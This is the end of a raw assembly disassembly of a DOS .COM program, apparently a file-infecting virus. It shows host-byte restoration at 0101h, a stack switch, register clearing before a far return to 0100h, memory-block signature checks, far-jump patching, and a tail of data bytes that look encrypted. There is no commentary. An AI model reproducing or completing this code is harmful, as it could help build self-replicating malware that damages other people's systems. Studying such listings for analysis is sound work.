  2813.     or    al,al            ;0D35F    0AC0
  2814.     jz    H0000_D36C        ;0D361    7409        t
  2815.     mov    Word Ptr ds:[0101h],16ADh
  2816.                     ;0D363    C7060101AD16
  2817.     push    cs            ;0D369    0E
  2818.     jmp    Short H0000_D37E    ;0D36A    EB12
  2819. ;- - - - - - - - - - - - - - - - - - - -
  2820. H0000_D36C:
  2821.     cli                ;0D36C    FA
  2822.     mov    ax,cs            ;0D36D    8CC8
  2823.     sub    ax,0FAC0h        ;0D36F    2DC0FA        -
  2824.  
  2825. ;SEG: SS Change - Indefinite
  2826.     mov    ss,ax            ;0D372    8ED0
  2827.  
  2828. ;SEG: SP Change - 13D5h
  2829.     mov    sp,13D5h        ;0D374    BCD513
  2830.     sti                ;0D377    FB
  2831.     mov    ax,cs            ;0D378    8CC8
  2832.     sub    ax,0FAC0h        ;0D37A    2DC0FA        -
  2833.     push    ax            ;0D37D    50        P
  2834. H0000_D37E:
  2835.     mov    ax,0100h        ;0D37E    B80001
  2836.     push    ax            ;0D381    50        P
  2837.     sti                ;0D382    FB
  2838.     xor    ax,ax            ;0D383    33C0        3
  2839.     mov    bx,ax            ;0D385    8BD8
  2840.     mov    cx,ax            ;0D387    8BC8
  2841.     cwd                ;0D389    99
  2842.     mov    si,ax            ;0D38A    8BF0
  2843.     mov    di,ax            ;0D38C    8BF8
  2844.     mov    bp,ax            ;0D38E    8BE8
  2845.     retf                ;0D390    CB
  2846. ;---------------------------------------
  2847. H0000_D391:
  2848.  
  2849. ;SEG: DS Change - Indefinite
  2850.     mov    ds,ax            ;0D391    8ED8
  2851.     cmp    Byte Ptr [bx],44h    ;0D393    803F44         ?D
  2852.     jz    H0000_D39D        ;0D396    7405        t
  2853.     cmp    Byte Ptr [bx],4Dh    ;0D398    803F4D         ?M
  2854.     jnz    H0000_D3A8        ;0D39B    750B        u
  2855. H0000_D39D:
  2856.     mov    ax,[bx+03h]        ;0D39D    8B4703         G
  2857.     cmp    ah,0A0h         ;0D3A0    80FCA0
  2858.     ja    H0000_D3A8        ;0D3A3    7703        w
  2859.     xchg    ax,cx            ;0D3A5    91
  2860.     xor    bp,bp            ;0D3A6    33ED        3
  2861. H0000_D3A8:
  2862.     ret                ;0D3A8    C3
  2863. ;---------------------------------------
  2864. H0000_D3A9:
  2865.     mov    Word Ptr [di+06h],00F8h ;0D3A9    C74506F800     E
  2866. H0000_D3AE:
  2867.     mov    Byte Ptr [di+05h],0EAh    ;0D3AE    C64505EA     E
  2868.     mov    [di+08h],ax        ;0D3B2    894508         E
  2869.     ret                ;0D3B5    C3
  2870. ;---------------------------------------
  2871. ;MEM: Unreferenced Code
  2872.     db    01h            ;0D3B6
  2873.     db    03h            ;0D3B7
  2874.     dw    0200h            ;0D3B8    0002
  2875.     dw    1CE8h            ;0D3BA    E81C
  2876.     dw    0B900h            ;0D3BC    00B9
  2877.     dw    0FA0h            ;0D3BE    A00F
  2878.     dw    0CDBAh            ;0D3C0    BACD
  2879.     dw    0B400h            ;0D3C2    00B4
  2880.     db    "@"            ;0D3C4    40
  2881.     dw    0FF9Ch            ;0D3C5    9CFF
  2882.     dw    861Eh            ;0D3C7    1E86
  2883.     dw    9C00h            ;0D3C9    009C
  2884.     db    "PQ"            ;0D3CB    5051
  2885.     dw    00B0h            ;0D3CD    B000
  2886.     dw    95A2h            ;0D3CF    A295
  2887.     dw    0E810h            ;0D3D1    10E8
  2888.     dw    0004h            ;0D3D3    0400
  2889.     db    "YX"            ;0D3D5    5958
  2890.     db    9Dh            ;0D3D7
  2891.     db    0C3h            ;0D3D8
  2892.     dw    00B8h            ;0D3D9    B800
  2893.     dw    0BF00h            ;0D3DB    00BF
  2894.     db    "K"            ;0D3DD    4B
  2895.     dw    0B910h            ;0D3DE    10B9
  2896.     dw    0000h            ;0D3E0    0000
  2897.     db    "1"            ;0D3E2    31
  2898.     db    05h            ;0D3E3
  2899.     db    05h            ;0D3E4
  2900.     dw    0000h            ;0D3E5    0000
  2901.     db    "GG"            ;0D3E7    4747
  2902.     dw    0F7E2h            ;0D3E9    E2F7
  2903.     db    0C3h            ;0D3EB
  2904.     db    "2"            ;0D3EC    32
  2905.     dw    0CFC0h            ;0D3ED    C0CF
  2906.     db    0F3h            ;0D3EF
  2907.     dw    0BAC0h            ;0D3F0    C0BA
  2908.     db    85h            ;0D3F2
  2909.     db    ":o"            ;0D3F3    3A6F
  2910.     dw    0F608h            ;0D3F5    08F6
  2911.     db    "E]"            ;0D3F7    455D
  2912.     dw    0E69Ch            ;0D3F9    9CE6
  2913.     db    0EFh            ;0D3FB
  2914.     dw    0E08Eh            ;0D3FC    8EE0
  2915.     db    "$"            ;0D3FE    24
  2916.     db    "o]L"            ;0D3FF    6F5D4C
  2917.     dw    02B0h            ;0D402    B002
  2918.     db    ">"            ;0D404    3E
  2919.     dw    87C8h            ;0D405    C887
  2920.     db    9Dh            ;0D407
  2921.     db    0ECh            ;0D408
  2922.     db    "<G"            ;0D409    3C47
  2923.     db    0C7h            ;0D40B
  2924.     db    01h            ;0D40C
  2925.         db      0C1h                    ;0D40D
  2926.         db      95h                     ;0D40E
  2927. S00100    ENDS
  2928.     END    H0000_0100
  2929.  
  2930.